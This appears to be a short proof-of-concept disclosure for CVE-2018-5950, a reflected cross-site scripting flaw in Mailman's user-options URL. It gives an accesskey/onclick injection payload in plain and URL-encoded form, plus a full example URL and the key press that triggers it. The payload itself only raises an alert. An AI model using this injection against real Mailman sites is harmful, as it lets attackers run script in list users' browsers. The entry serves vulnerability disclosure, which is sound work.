Mailman 1.x > 2.1.23 - Cross Site Scripting (XSS)

# Title: Mailman 1.x > 2.1.23 - Cross Site Scripting (XSS)
# Type:			Reflected XSS
# Software:		Mailman
# Version:		>=1.x <= 2.1.23
# Vendor Homepage:	https://www.list.org
# Original link:	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5950
# POC Author:		Valerio Alessandroni 
# Date: 		28/10/2020
# Description:		Cross-site scripting (XSS) vulnerability in the web UI in Mailman before 2.1.26 allows remote attackers to inject arbitrary web script or HTML via a user-options URL.
#
# https://127.0.0.1/cgi-bin/mailman/options/[LIST]/[EMAIL][XSS]
# Which [LIST] is a valid list, [EMAIL] is a valid email and [XSS] is the payload
#
# For this POC I used the following payload
# CVE:  CVE-2018-5950

"accesskey%3d"x"onclick%3d"alert`XSS`"

# Due the payload is loaded inside an HIDDEN INPUT TYPE, until today the only way to trigger the malicious code is via the accesskey attribute.
# An URL Encoded version of the payload is 

%22%61%63%63%65%73%73%6b%65%79%3d%22%78%22%6f%6e%63%6c%69%63%6b%3d%22%61%6c%65%72%74%60%58%53%53%60%22

# URL Example:

https://127.0.0.1/cgi-bin/mailman/options/list_name/[email protected]%22%61%63%63%65%73%73%6b%65%79%3d%22%78%22%6f%6e%63%6c%69%63%6b%3d%22%61%6c%65%72%74%60%58%53%53%60%22

# In order to trigger the alert, the victim has to press the following buttons ALT+SHIFT+X
# where X is an arbitrary button inserted as accesskey attribute in the payload.